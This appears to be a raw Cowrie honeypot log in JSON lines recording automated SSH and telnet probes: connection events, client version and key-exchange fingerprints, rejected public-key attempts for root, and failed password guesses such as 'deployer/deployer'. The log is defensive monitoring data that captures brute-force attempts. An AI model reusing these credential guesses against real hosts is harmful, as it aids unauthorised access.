{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:5c:ac:ea:b3:56:91:4a:02:f5:08:3a:03:38:0d:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrqbTnk3nRQNVXUakyO+fFAHV/M5biyniqVrKY5GZpqNZyTmtdmmgr3vDrEFuzECJFeE09jaLJu2fcnefm+YZU2DvJBDMZ024K97O8ldzrtXhvKhzeMUpUKvIhkBG66YJs8VYTx+NtsUB2CcGy+Y+MFHU5boqIsAvXOccTBkwQx6IaXLgVlNqIKXd82XF91MMgmdyhKqu6Y8hQA75BKtEeB3ao/aLpG0YGzxjDPMudUhK6xGr/CKWzc9+jk/UV3hoFV+JTD/DFb66qycS1pBT/1G8Z5TzwOVFl3Gn4RuWjUei2IsJGslymnt5UhDRtl5z8FA3zAvkfK90RPJMAp//qW4FCVO4tcqIrwt2kuhPgB90d4cZL2tDYykinW5GhQnVn7ZaKAnkhU80tt+eyjQR3Nnf9oJik7RfmknOSr3MmmORizhEOIjWDmfpFzlQfbEHXgupJIUoby9KjNzavLQi71pcoQbpLgVQ1Wu1rFi9/xbQCN7aas8LxD4hhHhw0E9hNySRIDP8VFRkQoAPSzBIZB6rQrup1SiQm+haAyhBrfuTbhy/kQysKbs4/vD0Ndrfxn/ryq1g6ldV1BrfxAwW5RT5IUR30WytoGGkJeYmr0FZF21RwWSM4QNIuuo5M56Mt5S4cLLsvFIoqpvARlbziBWFlxctpyuPNjcWVLMKc3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.590801Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:87:49:48:98:e6:3b:b1:85:8e:15:d1:8e:c0:2a:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMfOpUGAnPeaQ7lhb4Uz0AFdlqXK8uK+8TD028tUhnuPPzh9aiWMazj+BCxvCo/S3sb0C9kWsDJZTU65RbfQQE3+cGqBuGdsVYfzPhxQIInFZuxtvyZ/nNDqYal9c5rDmkfAayCN3AhdiLxHr/AvnYFuEj9pfRfK0fMW440AL/RYv1E2nzO1977YoWpLH19xyZ9pMSfC83Z7iCFVC/PdfIRWT6BoIOmAe3j4l6RMPAzy4Vo3gEx3BVCWvIMlxIjMhkwdT8VE7+LHFxnjhxVVtcUMdjzwuVBuwSuNcBV257gkPJF/G3YopHyuVhOkhkq6YEfoxxpO+3O4YcrGvpEGm2e+5iJZiSOZP13UbIodWr/NrtRSpy0sApVQ4wLEgg4/jRLQV1rhnadRmhjjYFPtjbWvt1hpLqFvgcUeXQEGqK84mSulsBwcADmPtibnRRP1EVRvGs88c6v6e7NxxrSOPD1q7UnmuWkG76zH1yiDqcdo3KI/5iA3QLbJ+9ZZRG+lk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:87:49:48:98:e6:3b:b1:85:8e:15:d1:8e:c0:2a:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.714917Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:87:49:48:98:e6:3b:b1:85:8e:15:d1:8e:c0:2a:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMfOpUGAnPeaQ7lhb4Uz0AFdlqXK8uK+8TD028tUhnuPPzh9aiWMazj+BCxvCo/S3sb0C9kWsDJZTU65RbfQQE3+cGqBuGdsVYfzPhxQIInFZuxtvyZ/nNDqYal9c5rDmkfAayCN3AhdiLxHr/AvnYFuEj9pfRfK0fMW440AL/RYv1E2nzO1977YoWpLH19xyZ9pMSfC83Z7iCFVC/PdfIRWT6BoIOmAe3j4l6RMPAzy4Vo3gEx3BVCWvIMlxIjMhkwdT8VE7+LHFxnjhxVVtcUMdjzwuVBuwSuNcBV257gkPJF/G3YopHyuVhOkhkq6YEfoxxpO+3O4YcrGvpEGm2e+5iJZiSOZP13UbIodWr/NrtRSpy0sApVQ4wLEgg4/jRLQV1rhnadRmhjjYFPtjbWvt1hpLqFvgcUeXQEGqK84mSulsBwcADmPtibnRRP1EVRvGs88c6v6e7NxxrSOPD1q7UnmuWkG76zH1yiDqcdo3KI/5iA3QLbJ+9ZZRG+lk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.719166Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:f9:88:66:ab:c6:aa:ae:d4:f6:6e:0e:18:6f:2b:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBLbVxKKh611TNWYSXu6hccskFO3CmF3Op3xlHBdfshlhSy+d4/Db+njE5/QdroQn+tkf8RFPVxjWIimeySoIdwJ5107jsgZR29xZqpfwviQOIX4KdLPXWQEqTkgys2A45QtY/8UIVRVqTceWxBboe2DWEAPrAtWTHR8z0ZEdnr3bmpnFlWILMcAgInGGbBAUYw0ZePe/xI4ZNRAAd1nGL0/snFQTvsSAdwwpPszXxzxwXqPC+smaJDRMDvqXqDtWuhe3FQmmdP6F/Yf091M6o/8tBYRzdzpiyW4ShzLPn8j5rd57w3safXgFzyQ77o9boEL4P3fWO+7i0BQowjd3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:f9:88:66:ab:c6:aa:ae:d4:f6:6e:0e:18:6f:2b:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.849944Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:f9:88:66:ab:c6:aa:ae:d4:f6:6e:0e:18:6f:2b:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBLbVxKKh611TNWYSXu6hccskFO3CmF3Op3xlHBdfshlhSy+d4/Db+njE5/QdroQn+tkf8RFPVxjWIimeySoIdwJ5107jsgZR29xZqpfwviQOIX4KdLPXWQEqTkgys2A45QtY/8UIVRVqTceWxBboe2DWEAPrAtWTHR8z0ZEdnr3bmpnFlWILMcAgInGGbBAUYw0ZePe/xI4ZNRAAd1nGL0/snFQTvsSAdwwpPszXxzxwXqPC+smaJDRMDvqXqDtWuhe3FQmmdP6F/Yf091M6o/8tBYRzdzpiyW4ShzLPn8j5rd57w3safXgFzyQ77o9boEL4P3fWO+7i0BQowjd3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.854873Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:fd:db:a4:86:75:11:a9:1b:e8:64:c5:ed:fb:a2:8c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALwmtpFbZjbtDBYFZwzY8x1mmzjrNM8zlncZKhi90Rz8SAJK23voB+s+S62LpUBoTnkOqIEcGLt56/8Ivsx6On9h8obfGGUabeWlvD0mkdq7uD/BPPH8A+CKWDF99mA3IaWv2HwGIg8MoDcOU4h69HBMtRAZCfdCOnuvhn0amm+bAAAAFQDNknxR+WnFWr3jv9vnhynYSNuBxQAAAIBQwXOEpe2Hq56SuBCv/WUdSJig13XnFBh4tPnbe9PXusc9G4Sc+6MOQOOsjFUrLBJD37pjssNxrxmy2NIY/+9s0oPeXGa3Q3DMmnUMG7csUddYbVC7h6EpaaRhhkEm6BDe4CKVM/Q2bsveFCAl68PzcT7UnaMrbCtb8dRsJPrnbQAAAIEAqK720RDODaKWSY9QEOsg7OxcLuDc6xwWEDLrG1RQJuiL/B7wJSF4Goo95xlGt2h0ItW6qPz2ka9J7OuefxWyUbhlB9U6rhZzVi6pThmBEASvuBzKnpBSa5xLmBpiy79XP/1tJa6HynoIucfKGaBcpNvqJJAlDosUE93vHFuVq+Q=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2d:fd:db:a4:86:75:11:a9:1b:e8:64:c5:ed:fb:a2:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.979422Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:fd:db:a4:86:75:11:a9:1b:e8:64:c5:ed:fb:a2:8c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALwmtpFbZjbtDBYFZwzY8x1mmzjrNM8zlncZKhi90Rz8SAJK23voB+s+S62LpUBoTnkOqIEcGLt56/8Ivsx6On9h8obfGGUabeWlvD0mkdq7uD/BPPH8A+CKWDF99mA3IaWv2HwGIg8MoDcOU4h69HBMtRAZCfdCOnuvhn0amm+bAAAAFQDNknxR+WnFWr3jv9vnhynYSNuBxQAAAIBQwXOEpe2Hq56SuBCv/WUdSJig13XnFBh4tPnbe9PXusc9G4Sc+6MOQOOsjFUrLBJD37pjssNxrxmy2NIY/+9s0oPeXGa3Q3DMmnUMG7csUddYbVC7h6EpaaRhhkEm6BDe4CKVM/Q2bsveFCAl68PzcT7UnaMrbCtb8dRsJPrnbQAAAIEAqK720RDODaKWSY9QEOsg7OxcLuDc6xwWEDLrG1RQJuiL/B7wJSF4Goo95xlGt2h0ItW6qPz2ka9J7OuefxWyUbhlB9U6rhZzVi6pThmBEASvuBzKnpBSa5xLmBpiy79XP/1tJa6HynoIucfKGaBcpNvqJJAlDosUE93vHFuVq+Q=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.985135Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:04.109715Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7111120223999,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:28.981244Z","src_ip":"199.103.57.63","session":"4ddc485761ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16317,"dst_ip":"159.203.135.109","dst_port":22,"session":"915b66f87f00","protocol":"ssh","message":"New connection: 2.57.121.25:16317 (159.203.135.109:22) [session: 915b66f87f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:32.099383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:32.105130Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:32.212469Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27091978","message":"login attempt [user/27091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:32.698825Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27081992","message":"login attempt [user/27081992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:33.806614Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270790","message":"login attempt [user/270790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:34.914165Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270789","message":"login attempt [user/270789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:36.021674Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270784","message":"login attempt [user/270784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:37.129390Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:38.237338Z","src_ip":"2.57.121.25","session":"915b66f87f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.128.242","src_port":13590,"dst_ip":"10.17.0.5","dst_port":22,"session":"78010a5c9afc","protocol":"ssh","message":"New connection: 8.222.128.242:13590 (10.17.0.5:22) [session: 78010a5c9afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:59.899723Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:03.150549Z","src_ip":"8.222.128.242","session":"78010a5c9afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.128.242","src_port":13600,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e151ded32a9","protocol":"ssh","message":"New connection: 8.222.128.242:13600 (10.17.0.5:22) [session: 4e151ded32a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:03.375068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:03.383814Z","src_ip":"8.222.128.242","session":"4e151ded32a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:03.613940Z","src_ip":"8.222.128.242","session":"4e151ded32a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189661979675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:03.872422Z","src_ip":"208.157.164.62","session":"f964966cdbbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00100040435791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:04.054788Z","src_ip":"208.157.164.62","session":"36eb74b1ddc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:04.303044Z","src_ip":"8.222.128.242","session":"4e151ded32a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179600715637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:04.346918Z","src_ip":"208.157.164.62","session":"7e3c55d9242b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":46492,"dst_ip":"10.17.0.5","dst_port":23,"session":"751109994216","protocol":"telnet","message":"New connection: 208.157.164.62:46492 (10.17.0.5:23) [session: 751109994216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:07.504295Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":46557,"dst_ip":"10.17.0.5","dst_port":23,"session":"188d11c4f2e3","protocol":"telnet","message":"New connection: 208.157.164.62:46557 (10.17.0.5:23) [session: 188d11c4f2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:11.596140Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26326,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff8670bf69d","protocol":"ssh","message":"New connection: 194.59.206.2:26326 (10.17.0.5:22) [session: fff8670bf69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:21.742456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:21.755814Z","src_ip":"194.59.206.2","session":"fff8670bf69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:21.844069Z","src_ip":"194.59.206.2","session":"fff8670bf69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:22.016897Z","src_ip":"194.59.206.2","session":"fff8670bf69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9c9abaa7fd","protocol":"telnet","message":"New connection: 180.235.129.180:37820 (10.17.0.5:23) [session: 3b9c9abaa7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:13:59.402826Z"}
{"eventid":"cowrie.session.closed","duration":7.899543046951294,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:14:07.302243Z","src_ip":"180.235.129.180","session":"3b9c9abaa7fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":23564,"dst_ip":"159.203.135.109","dst_port":22,"session":"92bdb982a3ee","protocol":"ssh","message":"New connection: 176.65.132.23:23564 (159.203.135.109:22) [session: 92bdb982a3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.379669Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.385316Z","src_ip":"176.65.132.23","session":"92bdb982a3ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":23574,"dst_ip":"159.203.135.109","dst_port":22,"session":"80aec36d856f","protocol":"ssh","message":"New connection: 176.65.132.23:23574 (159.203.135.109:22) [session: 80aec36d856f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.516568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.523759Z","src_ip":"176.65.132.23","session":"80aec36d856f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.608274Z","src_ip":"176.65.132.23","session":"80aec36d856f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:02.789250Z","src_ip":"176.65.132.23","session":"80aec36d856f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:15:03.876364Z","src_ip":"176.65.132.23","session":"80aec36d856f","protocol":"ssh"}
